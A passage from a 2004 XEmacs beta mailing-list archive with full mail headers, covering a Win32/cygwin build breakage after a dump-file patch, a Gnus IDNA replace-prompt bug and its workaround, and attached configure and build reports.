edebug-autoloads ecrypto-autoloads ecb-autoloads docbookide-autoloads dired-autoloads dictionary-autoloads debug-autoloads crisp-autoloads cookie-autoloads clearcase-autoloads cc-mode-autoloads calendar-autoloads calc-autoloads c-support-autoloads build-autoloads bbdb-autoloads auctex-autoloads apel-autoloads ada-autoloads modules-autoloads auto-autoloads loadhist rsz-minibuf auto-show fontl-hooks x-iso8859-1 code-cmds gutter-items menubar-items x-menubar mode-motion mouse behavior itimer auto-save lisp-mode easymenu iso8859-1 page buff-menu lib-complete cus-file derived newcomment env text-props frame obsolete cus-start custom widget cl-extra mini-cl cl cl-19 packages backquote unicode athena-scrollbars cut-buffer lucid-menubars athena-dialogs x c-balloon-help tty-frames tty toolbar nas-sound native-sound scrollbar unix-processes multicast network-streams subprocesses modules menu-accelerator-support menubar md5 xemacs gutter tiff png gif jpeg xface xpm xbm lisp-float-type file-coding berkeley-unix dialog devices window-system base64) Recent keystrokes: ----------------- RET C-n C-n C-x C-f C-g C-x k RET C-x C-g M-x up RET T H i s SPC s a d f j a d f SPC a d f j C-a M-% C-g M-$ C-g C-_ C-_ C-_ C-_ M-_ M-_ M-_ M-_ C-_ C-_ C-_ Sh-f3 y C-_ C-c C-k m SPC f1 l C-n C-n C-n C-n C-n C-n C-n C-n C-n C-n C-n C-n C-n C-n C-p C-p C-n C-SPC C-n C-n C-n C-n C-n C-p C-n M-w C-v C-TAB C-c C-k M-x r e p o r t - x e m TAB RET Recent messages (most recent first): ----------------------------------- Fontifying *mail to XEmacs Beta*... done. Replace with `idn in free(): warning: junk pointer, too high to make sense xemacs.org'? (y or n) No Replace with `idn in free(): warning: junk pointer, too high to make sense xemacs.org'? (y or n) Replace with `idn in free(): warning: junk pointer, too high to make sense comcast.net'? (y or n) No Replace with `idn in free(): warning: junk pointer, too high to make sense comcast.net'? (y or n) Fontifying *mail to XEmacs Beta*... Loading xemacsbug...done Loading xemacsbug... Fontifying *mail*... done. Replace with `idn in free(): warning: junk pointer, too high to make sense comcast.net'? (y or n) Yes Replace with `idn in free(): warning: junk pointer, too high to make sense comcast.net'? (y or n) Fontifying *mail*... No further undo information Undo... Fontifying *mail*... done. Replace with `comcast.net idn in free(): warning: junk pointer, too high to make sense comcast.net'? (y or n) Yes Replace with `comcast.net idn in free(): warning: junk pointer, too high to make sense comcast.net'? (y or n) Your contact with the exterior world is gone Fontifying *mail*... Opening nntp server on nntp.dragonflybsd.org...done From xemacs-beta-admin@xemacs.org Sun Apr 18 14:56:09 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3IIu2s04522; Sun, 18 Apr 2004 14:56:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3IItc204143 for xemacs-beta-mailman@xemacs.org; Sun, 18 Apr 2004 14:55:38 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3IItat04095 for turnbull@tux.org; Sun, 18 Apr 2004 14:55:36 -0400 Received: from dspnet.fr.eu.org (dspnet.fr.eu.org [62.73.5.179]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3IItZs04075 for ; Sun, 18 Apr 2004 14:55:35 -0400 Received: by dspnet.fr.eu.org (Postfix, from userid 1007) id CBEC534EEA; Sun, 18 Apr 2004 20:55:34 +0200 (CEST) Date: Sun, 18 Apr 2004 20:55:34 +0200 From: Olivier Galibert To: XEmacs Beta List Subject: Re: [Failure] XEmacs 21.5-b17 "chayote" (+CVS-20040415) i586-pc-win32 Message-ID: <20040418185534.GA98278@dspnet.fr.eu.org> Mail-Followup-To: Olivier Galibert , XEmacs Beta List References: <87d66712eq.fsf@tleepslib.sk.tsukuba.ac.jp> <408274A9.90202@optusnet.com.au> <20040418135316.GA73105@dspnet.fr.eu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.1i X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , On Sun, Apr 18, 2004 at 07:18:32PM +0200, Adrian Aichner wrote: > With the one correction you commited today, do you think all the ifdef > logic in your patch is correct now? Yes. > Armed with that information I will try to make the native Windows > build work again. It should be strictly identical as previous for windows, since it already had the dump file in the exe. Everything is supposed to be ifdefed-out. So if it doesn't link the problem is in the patch. > Could you please look into the issue Sven reported with the cygwin > build dying with signal 11? What does cygwin look like from a build point of view? pdump? WIN32_NATIVE? Using src/Makefile.* or not? > Sven, could you please provide a backtrace or any other information > you are getting? That would be necessary. OG. From xemacs-beta-admin@xemacs.org Sun Apr 18 16:25:04 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3IKP3s01637; Sun, 18 Apr 2004 16:25:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3IKO7Q00615 for xemacs-beta-mailman@xemacs.org; Sun, 18 Apr 2004 16:24:07 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3IKO5Z00571 for turnbull@tux.org; Sun, 18 Apr 2004 16:24:05 -0400 Received: from main.gmane.org (main.gmane.org [80.91.224.249]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3IKO4s00556 for ; Sun, 18 Apr 2004 16:24:04 -0400 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1BFIpg-0000Ty-00 for ; Sun, 18 Apr 2004 22:24:04 +0200 Received: from h43n3c1o273.bredband.skanova.com ([217.208.170.43]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 18 Apr 2004 22:24:04 +0200 Received: from jas by h43n3c1o273.bredband.skanova.com with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 18 Apr 2004 22:24:04 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: xemacs-beta@xemacs.org From: Simon Josefsson Subject: Re: [Bug: 21.5-b17] sending mails using message mode and spelling Date: Sun, 18 Apr 2004 22:23:56 +0200 Lines: 53 Message-ID: References: <8665bxjhpq.fsf@comcast.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org Cc: bugs@gnus.org X-Gmane-NNTP-Posting-Host: h43n3c1o273.bredband.skanova.com X-Hashcash: 0:040418:bugs@gnus.org:ef0c0338eac95f63 User-Agent: Gnus/5.110002 (No Gnus v0.2) Emacs/21.3.50 (gnu/linux) Cancel-Lock: sha1:q8Rw7YLSxLpNgFMnqyBcfZPI/QE= X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Kaarthik Sivakumar writes: > ================================================================ > Dear Bug Team! > > Whenever I try to send new mail or reply to a mail, I get the > following question from I-dont-know-what: (from lossage) > > Replace with `idn in free(): warning: junk pointer, too high to make sense > comcast.net'? (y or n) Yes > Replace with `idn in free(): warning: junk pointer, too high to make sense > comcast.net'? (y or n) > Fontifying *mail*... > > Essentially it attempts to replace all domain names in email addresses > (for instance xemacs.org, comcast.net, etc) with the above message. > This happens when I first create the message mode buffer, through > gnus-group-mail, or even M-x report-xemacs-bug. Then it again shows up > when I try to send the mail. I havent updated any packages in a long > time. > > Last week, I updated all the FreeBSD packages (not XEmacs packages) on > my system and in this process ispell and aspell packages also got > updated. I dont know if this is related to that update, but if I run > ispell or aspell in an xterm, then they work fine. Anybody seen this > or has any idea what to do here? Even how to debug this would be > great. I just dont know where to look since I dont know what is > causing this question to pop up. Short story: (setq message-use-idna nil) Long story: I accept the blame for this, it has been reported before, and I'll try to get to it. If someone wants to know more, or even (I wish) fix it: The question is from Message, in Gnus, and happens when it recognize that you have Libidn installed, and that the message you are replying to contain an non-ASCII e-mail address in the From/To/Cc. All this would work just fine if it wasn't for two things: 1) the regexp to catch "e-mail address" is not good. What would be needed is a proper RFC 2822 parser, but we don't have a robust one. So it sometimes catches non e-mail addresses, which are more likely to be non-ASCII, thus triggering the code in the first place... 2) the question should be, e.g., "Replace with `xn--rksmrgs-5wao1o'?" The junk you are seeing comes from running the external program "idn" on some string, and it looks like it is trying to report an error of some kind. I haven't seen the one you got, can you tell if it comes from FreeBSD libc printf, or something? Sorry for the trouble... From xemacs-beta-admin@xemacs.org Sun Apr 18 16:21:12 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3IKL2s29913; Sun, 18 Apr 2004 16:21:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3IKKFP29101 for xemacs-beta-mailman@xemacs.org; Sun, 18 Apr 2004 16:20:15 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3IKKEv29079 for turnbull@tux.org; Sun, 18 Apr 2004 16:20:14 -0400 Received: from main.gmane.org (main.gmane.org [80.91.224.249]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3IKKDs29071 for ; Sun, 18 Apr 2004 16:20:13 -0400 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1BFIlw-0000S1-00 for ; Sun, 18 Apr 2004 22:20:12 +0200 Received: from p508d2c3c.dip.t-dialin.net ([80.141.44.60]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 18 Apr 2004 22:20:12 +0200 Received: from sven by p508d2c3c.dip.t-dialin.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 18 Apr 2004 22:20:12 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: xemacs-beta@xemacs.org From: Sven Grundmann Subject: Re: [Failure] XEmacs 21.5-b17 "chayote" (+CVS-20040415) i586-pc-win32 Date: Sun, 18 Apr 2004 22:16:50 +0200 Lines: 11 Message-ID: References: <87d66712eq.fsf@tleepslib.sk.tsukuba.ac.jp> <408274A9.90202@optusnet.com.au> <20040418135316.GA73105@dspnet.fr.eu.org> <20040418185534.GA98278@dspnet.fr.eu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: p508d2c3c.dip.t-dialin.net User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Security Through Obscurity, cygwin32) Cancel-Lock: sha1:K72n1LoH1b6gTOH9ync5YH6BEKs= X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hello, I'll research as much information as i can. I need some time for that. I will get that baby build ! ;) Best regards Sven From xemacs-beta-admin@xemacs.org Sun Apr 18 16:54:11 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3IKs2s00426; Sun, 18 Apr 2004 16:54:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3IKr3r31900 for xemacs-beta-mailman@xemacs.org; Sun, 18 Apr 2004 16:53:03 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3IKr1F31866 for turnbull@tux.org; Sun, 18 Apr 2004 16:53:01 -0400 Received: from mail010.syd.optusnet.com.au (mail010.syd.optusnet.com.au [211.29.132.56]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3IKr0s31825; Sun, 18 Apr 2004 16:53:00 -0400 Received: from optusnet.com.au (c211-30-198-95.rivrw2.nsw.optusnet.com.au [211.30.198.95]) by mail010.syd.optusnet.com.au (8.11.6p2/8.11.6) with ESMTP id i3IKqgB04457; Mon, 19 Apr 2004 06:52:44 +1000 Message-ID: <4082EA7A.9000908@optusnet.com.au> Date: Mon, 19 Apr 2004 06:52:10 +1000 From: "James C. McPherson" Reply-To: james.mcpherson@optusnet.com.au Organization: JJCMA Group User-Agent: Mozilla Thunderbird 0.5 (X11/20040210) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Adrian Aichner CC: XEmacs Beta List Subject: Re: [Failure] XEmacs 21.5-b17 "chayote" (+CVS-20040415) i586-pc-win32 References: <87d66712eq.fsf@tleepslib.sk.tsukuba.ac.jp> <408274A9.90202@optusnet.com.au> In-Reply-To: Content-Type: multipart/mixed; boundary="------------040103070505030603010208" X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , This is a multi-part message in MIME format. --------------040103070505030603010208 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Adrian Aichner wrote: ... > your commital left at least one cygwin, one native Windows, and one > "definitely not running ms-windows"[1] user dead in the water. ... > Footnotes: > [1] Please tell us what platform you ARE on. Searching the last 500 > xemacs-beta and xemacs-build-reports has not lifted the miracle for > me. Hi Adrian, That would be because I've been rather quiet lately ;) $ uname -a SunOS espresso 5.10 s10_57 i86pc i386 i86pc I've attached my Installation file too. best regards, James C. McPherson --------------040103070505030603010208 Content-Type: text/plain; name="Installation" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="Installation" uname -a: SunOS espresso 5.10 s10_57 i86pc i386 i86pc ./configure '--prefix=/d00/xemacs' '--use-kkcc=yes' '--with-gpm=no' '--with-workshop' '--with-gcc=no' '--with-ldap=no' '--with-gtk=yes' '--with-gnome=yes' XEmacs 21.5-b17 "chayote" (+CVS-20040417) configured for `i386-pc-solaris2.10'. Compilation Environment and Installation Defaults: Source code location: /d00/xemacs/src/build/xemacs-21.5 Installation prefix: /d00/xemacs Runtime library search path: /usr/sfw/lib:/opt/csw/lib:/opt/local/lib:/usr/local/lib:/usr/lib:/usr/dt/lib:/usr/openwin/lib Operating system description file: `s/sol2.h' Machine description file: `m/intel386.h' Compiler version: cc: Sun C 5.5 Patch 112761-06 2004/01/13 - Compiler command: /opt/SUNWspro/bin/cc -I/usr/sfw/include -I/usr/local/include -xO3 -native -v -v -xO4 libc version: SUNWcsl 11.10.0,REV=2004.04.14.15.01 Relocating allocator for buffers: yes GNU version of malloc: yes Window System: Using GTK menubars. Using GTK scrollbars. Using GTK dialog boxes. Using GTK native widgets. TTY: Images: Compiling in support for GIF images (builtin). Compiling in support for XPM images. Compiling in support for PNG images. Compiling in support for JPEG images. Compiling in support for TIFF images. Sound: Databases: Compiling in support for DBM. Internationalization: Mail: Compiling in support for "dot-locking" mail spool file locking method. Other Features: Inhibiting IPv6 canonicalization at startup. Compiling in support for Sun WorkShop. Compiling in support for dynamic shared object modules. Using the new GC algorithms. Compiling in support for extra debugging code. WARNING: --------------------------------------------------------- WARNING: Compiling in support for runtime error checking. WARNING: XEmacs will run noticeably more slowly as a result. WARNING: Error checking is on by default for XEmacs beta releases. WARNING: --------------------------------------------------------- --------------040103070505030603010208-- From xemacs-beta-admin@xemacs.org Sun Apr 18 18:22:02 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3IMM2s19363; Sun, 18 Apr 2004 18:22:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3IML4H18471 for xemacs-beta-mailman@xemacs.org; Sun, 18 Apr 2004 18:21:04 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3IML3D18450 for turnbull@tux.org; Sun, 18 Apr 2004 18:21:03 -0400 Received: from mailout01.sul.t-online.com (mailout01.sul.t-online.com [194.25.134.80]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3IML2s18427; Sun, 18 Apr 2004 18:21:02 -0400 Received: from sfwd01.aul.t-online.de by mailout01.sul.t-online.com with smtp id 1BFKer-0000x1-00; Mon, 19 Apr 2004 00:21:01 +0200 Received: from D5DC120J.t-online.de (bNQt5mZFoeyli6dGHBCsQMKfvJJ9hH4LR3UHWHvSQ8V9I5j+2ln1sL@[217.229.1.225]) by afwd01.sul.t-online.com with esmtp id 1BFKec-093Vrs0; Mon, 19 Apr 2004 00:20:46 +0200 To: Olivier Galibert Cc: XEmacs Beta List Subject: Re: [Failure] XEmacs 21.5-b17 "chayote" (+CVS-20040415) i586-pc-win32 X-Face: 4[iHdXiTu\V3u[~\I)*}#kYF[-tYl3VZga/HSOP|K,{L Rtu@f0y/=O&Cu}\:~d|P$JON?pn?j,&CnPb1z#/TL9bkAJwyol&a:SvYj-VYbM=Dtxhk9 =w|R6U3_;SH&B <87d66712eq.fsf@tleepslib.sk.tsukuba.ac.jp> <408274A9.90202@optusnet.com.au> <20040418135316.GA73105@dspnet.fr.eu.org> <20040418185534.GA98278@dspnet.fr.eu.org> Organization: The XEmacs Project From: Adrian Aichner Date: Mon, 19 Apr 2004 00:21:54 +0200 In-Reply-To: <20040418185534.GA98278@dspnet.fr.eu.org> (Olivier Galibert's message of "Sun, 18 Apr 2004 20:55:34 +0200") Message-ID: <3c71orjx.fsf@smtpmail.t-online.de> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Security Through Obscurity, windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Seen: false X-ID: bNQt5mZFoeyli6dGHBCsQMKfvJJ9hH4LR3UHWHvSQ8V9I5j+2ln1sL X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Olivier Galibert writes: > On Sun, Apr 18, 2004 at 07:18:32PM +0200, Adrian Aichner wrote: >> With the one correction you commited today, do you think all the ifdef >> logic in your patch is correct now? > > Yes. > > >> Armed with that information I will try to make the native Windows >> build work again. > > It should be strictly identical as previous for windows, since it > already had the dump file in the exe. Everything is supposed to be > ifdefed-out. So if it doesn't link the problem is in the patch. Ah, thanks, I wasn't seeing the forrest for the trees. > > >> Could you please look into the issue Sven reported with the cygwin >> build dying with signal 11? > > What does cygwin look like from a build point of view? pdump? > WIN32_NATIVE? Using src/Makefile.* or not? Using configure && make Don't know if the cygwin build also works without pdump. > > >> Sven, could you please provide a backtrace or any other information >> you are getting? > > That would be necessary. > > OG. > -- Adrian Aichner mailto:adrian@xemacs.org http://www.xemacs.org/ From xemacs-beta-admin@xemacs.org Sun Apr 18 18:19:08 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3IMJ6s16687; Sun, 18 Apr 2004 18:19:06 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3IMI9i15754 for xemacs-beta-mailman@xemacs.org; Sun, 18 Apr 2004 18:18:09 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3IMI5415682 for turnbull@tux.org; Sun, 18 Apr 2004 18:18:05 -0400 Received: from mailout01.sul.t-online.com (mailout01.sul.t-online.com [194.25.134.80]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3IMI1s15595; Sun, 18 Apr 2004 18:18:01 -0400 Received: from sfwd01.aul.t-online.de by mailout01.sul.t-online.com with smtp id 1BFKbw-0000x1-00; Mon, 19 Apr 2004 00:18:00 +0200 Received: from D5DC120J.t-online.de (ZZ8dFwZLreLD2MI6GY7ZYDiYr4Vo8GNdQIr-X3bStBcn5yCjOb-vZ-@[217.229.1.225]) by afwd01.sul.t-online.com with esmtp id 1BFKbs-02zKxk0; Mon, 19 Apr 2004 00:17:56 +0200 To: XEmacs Beta List Subject: [Success] XEmacs 21.5-b17 "chayote" (+CVS-20040417) i586-pc-win32 X-Face: 4[iHdXiTu\V3u[~\I)*}#kYF[-tYl3VZga/HSOP|K,{L Rtu@f0y/=O&Cu}\:~d|P$JON?pn?j,&CnPb1z#/TL9bkAJwyol&a:SvYj-VYbM=Dtxhk9 =w|R6U3_;SH&B Date: Mon, 19 Apr 2004 00:19:01 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Seen: false X-ID: ZZ8dFwZLreLD2MI6GY7ZYDiYr4Vo8GNdQIr-X3bStBcn5yCjOb-vZ- Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by gwyn.tux.org id i3IMI1s15595 X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,REMOVE_REMOVAL_2WORD autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Thanks to Olivier's fix > From: Olivier Galibert > Subject: [AC21.5] Fix error in -si handling > To: XEmacs patches > Date: Sun, 18 Apr 2004 15:57:03 +0200 > Message-ID: <20040418135703.GA23231@m144.net81-66-86.noos.fr> > Xref: D5DC120J xemacs-patches:9656 I can build CVS trunk on native Windows again! Thanks Olivier! Mike, I will now test your region deactivation fix. Best regards, Adrian > XEmacs Build Report generated by emacs-version > 21.4 (patch 15) "Security Through Obscurity" XEmacs Lucid > with system-configuration > i586-pc-win32 > follows: > Contents of c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\Installation: > (Output from most recent run of ./configure) OS version: Microsoft Windows XP [Version 5.1.2600] OS: Windows_NT XEmacs 21.5-b17 "chayote" (+CVS-20040417) configured for `i586-pc-win32'. Building XEmacs using "NMAKE". Building XEmacs using make flags " ". Building XEmacs in source tree "c:\\Hacking\\cvs.xemacs.org\\XEmacs\\xemacs-21.5". For src, using compiler "cl -nologo -W3 -DSTRICT -Zi -O2 -G5 -Ob2 -MDd -c -I"c:\Hacking\libs4xemacs\xpm-3.4k" -I"c:\Hacking\libs4xemacs\xpm-3.4k\lib" -I"c:\Hacking\libs4xemacs\libpng-1.0.2" -I"c:\Hacking\libs4xemacs\zlib" -I"c:\Hacking\libs4xemacs\tiff-v3.4\libtiff" -I"c:\Hacking\libs4xemacs\jpeg-6b" -I"c:\Hacking\libs4xemacs\compface" -I"c:\Hacking\libs4xemacs\zlib" -Ic:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\nt\inc -Ic:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\src -DHAVE_MS_WINDOWS -DHAVE_XPM -DFOR_MSW -DHAVE_GIF -DHAVE_PNG -DHAVE_TIFF -DHAVE_JPEG -DHAVE_XFACE -DHAVE_ZLIB -DHAVE_MENUBARS -DHAVE_SCROLLBARS -DHAVE_TOOLBARS -DHAVE_WIDGETS -DHAVE_DIALOGS -DHAVE_NATIVE_SOUND -DMULE -DPDUMP -DUSE_KKCC -DSYSTEM_MALLOC -DDEBUG_XEMACS -D_DEBUG -DWIN32_LEAN_AND_MEAN -DWIN32_NATIVE -Demacs -DHAVE_CONFIG_H -DPATH_VERSION=\"21.5-b17\" -DPATH_PROGNAME=\"xemacs\" -DEMACS_VERSION=\"21.5-b17\" -DEMACS_PROGNAME=\"xemacs\" -DSTACK_TRACE_EYE_CATCHER=xemacs_21_5_b17_i586_pc_win32 -DPATH_PREFIX=\"..\" -DEMACS_MAJOR_VERSION=21 -DEMACS_MINOR_VERSION=5 -DEMACS_BETA_VERSION=17 -DXEMACS_CODENAME=\""chayote"\" -DEMACS_CONFIGURATION=\"i586-pc-win32\" -DPATH_PACKAGEPATH=\""~\\.xemacs;;c:\\Program Files\\XEmacs\\site-packages;c:\\Program Files\\XEmacs\\mule-packages;c:\\Program Files\\XEmacs\\xemacs-packages"\"". For lib-src, using compiler "cl -nologo -W3 -DSTRICT -Zi -O2 -G5 -Ob2 -MDd -Ic:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\lib-src -Ic:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\src -DHAVE_CONFIG_H -DWIN32_NATIVE". Installing XEmacs in "c:\\Program Files\\XEmacs\\XEmacs-21.5-b17". Package path is "~\\.xemacs;;c:\\Program Files\\XEmacs\\site-packages;c:\\Program Files\\XEmacs\\mule-packages;c:\\Program Files\\XEmacs\\xemacs-packages". Compiling in support for Microsoft Windows native GUI. Compiling in international (MULE) support. Compiling in support for XPM images. Compiling in support for GIF images. Compiling in support for PNG images. Compiling in support for TIFF images. Compiling in support for JPEG images. Compiling in support for X-Face message headers. Compiling in support for GZIP compression/decompression. Compiling in support for toolbars. Compiling in support for dialogs. Compiling in support for widgets. Compiling in support for native sounds. Using portable dumper. Using system malloc. Using DLL version of C runtime library. Compiling in debugging support (no slowdown). Compiling with optimization. Using new experimental GC algorithms. > Contents of c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\xemacs-21.5-cvs-update.err > keeping lines matching > "^--\[\[\|\]\]$\|^\(cd\|n?make\)\s-\|errors?\|warnings?\|pure.*\(space\|size\)\|hides\b\|strange\|shadowings\|^Compil\(ing\s-+in\|ation\)\|^Using\|not\s-+found\|^While\s-+compiling.*\( \s-+.+\)*\|^Note:\|Installing\|[Ff]ile(s) copied\|\s-+tests\s-+\|^[A-Z] [^ ]+$\|^Wrong number of arguments:\|^ \*\* \|^\(FAIL\|SKIP\):" > and then deleting lines matching > "confl.*with.*auto-inlining\|^Formatting:\|^\s-*0 .*\(failure\|error\)s?" cd c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\ Compilation started at Sun Apr 18 23:28:03 2004 +0200 (W. Europe Daylight Time) ? file-error.txt M lisp/build-report.el M lisp/cus-edit.el M lisp/files.el M lisp/font-lock.el M lisp/package-ui.el M nt/xemacs.mak cvs server: Updating tests cvs server: Updating tests/DLL Compilation finished at Sun Apr 18 23:28:55 > Contents of c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\nt\xemacs-21.5-make-install.err > keeping lines matching > "^--\[\[\|\]\]$\|^\(cd\|n?make\)\s-\|errors?\|warnings?\|pure.*\(space\|size\)\|hides\b\|strange\|shadowings\|^Compil\(ing\s-+in\|ation\)\|^Using\|not\s-+found\|^While\s-+compiling.*\( \s-+.+\)*\|^Note:\|Installing\|[Ff]ile(s) copied\|\s-+tests\s-+\|^[A-Z] [^ ]+$\|^Wrong number of arguments:\|^ \*\* \|^\(FAIL\|SKIP\):" > and then deleting lines matching > "confl.*with.*auto-inlining\|^Formatting:\|^\s-*0 .*\(failure\|error\)s?" cd c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\nt\ nmake /f xemacs.mak install Compilation started at Sun Apr 18 23:36:15 2004 +0200 (W. Europe Daylight Time) WARNING: Compiling without dependency information. Installing XEmacs in "c:\\Program Files\\XEmacs\\XEmacs-21.5-b17". 1 file(s) copied. 1 File(s) copied 1 File(s) copied Using load-path (c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\lisp\) Using module-load-path (c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\modules) While compiling the end of the data in file c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\lisp\cl.el: ** the function coerce-number is not known to be defined. While compiling the end of the data in file c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\lisp\cl-extra.el: ** the function coerce-number is not known to be defined. While compiling frame-notice-user-settings in file c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\lisp\frame.el: ** variable new bound but not referenced While compiling the end of the data: ** The following functions are not known to be defined: gpm-is-supported-p, x-display-visual-class, gtk-display-visual-class While compiling toplevel forms in file c:\Hacking\cvs.xemacs.org\XEmacs\xemacs-21.5\lisp\behavior-defs.el: ** assignment to free variable fume-display-in-modeline-p ** assignment to free variable filladapt-mode ** reference to free variable filladapt-mode While compiling the end of the data: ** The following functions are not known to be defined: mouse-avoidance-mode, fume-add-menubar-entry, fume-remove-menubar-entry, fume-remove-post-command-hook, filladapt-mode Using load-path 